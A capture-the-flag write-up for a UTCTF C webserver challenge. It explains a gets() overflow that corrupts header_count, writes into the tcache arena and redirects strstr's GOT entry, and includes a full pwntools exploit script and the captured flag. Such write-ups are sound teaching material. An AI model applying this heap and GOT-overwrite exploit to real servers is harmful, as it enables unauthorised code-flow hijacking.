I solve this challenge as DeadSec team. A webserver written in C is given In the code, server use debug_handler function when client request flag.txt file like below code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

    handler_fn handler;
    
    if (strstr(path, "flag.txt") != NULL) {
        handler = debug_handler;
    } else {
        handler = fileserv_handler;
    }

    handler(method, path, version, header_count, headers, data, err);

Vulnerability occurs in gets function.

1
2
3
4
5

    for (;;) {
        char *header_line = gets(buf);
        if (header_line == NULL) longjmp(err, 1);
        if (strlen(header_line) == 0 || strcmp(header_line, "\r") == 0) break; // "\n" or "\r\n"; end of query

In above code, we can control headers, header_cap, header_count variables because buf address is lower than aforementioned variables address.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
for (;;) {
        char *header_line = gets(buf);
        if (header_line == NULL) longjmp(err, 1);
        if (strlen(header_line) == 0 || strcmp(header_line, "\r") == 0) break; // "\n" or "\r\n"; end of query

        int index = 0;
        char *name = take_until_char(header_line, &index, ':');
        char *value = take_until_newline(header_line, &index);
        name = malloc_str(name);
        value = malloc_str(value);

        if (header_count + 1 > header_cap) {
            int new_cap = header_cap < 4 ? 4 : header_cap * 2;
            headers = realloc(headers, sizeof(struct Header) * new_cap);
            header_cap = new_cap;
        }
        struct Header h;
        h.name = name;
        h.value = value;
        headers[header_count] = h;
        header_count += 1;
    .....
    }

If we set header_count as negative value, we can write h struct to tcache arena. This means we can write some address that has strings we can control to tcache arena.

I think if safe linking is enabled, thist challenge is unexploitable. And fortunately server is based on ubuntu 20.04. I abuse vulnerability and make heap struct like above picture. We must set bin’s count and bin address. fopendir is close to strstr got so I overwrite strstr to fopendir plt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

    handler_fn handler;
    
    if (strstr(path, "flag.txt") != NULL) {
        handler = debug_handler;
    } else {
        handler = fileserv_handler;
    }

    handler(method, path, version, header_count, headers, data, err);

fopendir returns NULL when fail to open directory, fileserv_handler called when overwrite got. This challenge doesn’t serve dockerfile so we must brute force appropriate header_count value. As the result, you can see -192 is answer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import*
#context.log_level = 'debug'
e = ELF('./webserver')
target = e.got['strstr'] - 0x10
def make(header, cl, headers, header_cap, header_count):
    pl = header
    pl = pl.ljust(0x320 - 4, b'\x90') #Dumm
    pl += p32(cl) #content-length
    pl += p64(headers)
    pl += p32(header_cap) #header_cap
    pl += p32(header_count) #header_count
    return pl
#p = process('./webserver')
for j in range(-0x137, 0x100):
    j = -192
    try:
        p = remote('guppy.utctf.live', 5848)
        pl = b'GET /flag.txt HTTP/1.1\x00\r\n'
        p.send(pl)
        pl = b'content-length : 10\n' #make 0x50 chunk
        p.send(pl)
        for i in range(3):
            pl = b'content-length : 10\n'
            p.send(pl)

        pl = make(b'aa :' + p64(target) * 6 + b' : ' + p64(target) * 6, 0, 0, negate(0x200), negate(0x137 + j))
        p.sendline(pl)
        #print('first')
        pl = make(p64(target) * 6 + b' : ' + p64(target) * 6, 0, 0, negate(0x200), negate(0x150 + j))
        p.sendline(pl)
        #print('second')
        pl = make(p64(target) * 6 + b' : ' + p64(target) * 6, 0x160-1, 0, 11, 11)
        p.sendline(pl)
        #print('third')
        p.send(b'\r\n')
        #content
        pl = p64(0x4011a0) + p64(0) + p64(0x4011a0)
        pl = pl.ljust(0x160-1, b'A')
        p.sendline(pl)
        line = p.recvline()
        print('line : ', line)
        if b'For' not in line:
            print(j)
            p.interactive()
    except:
        p.close()

utflag{an_educational_experience}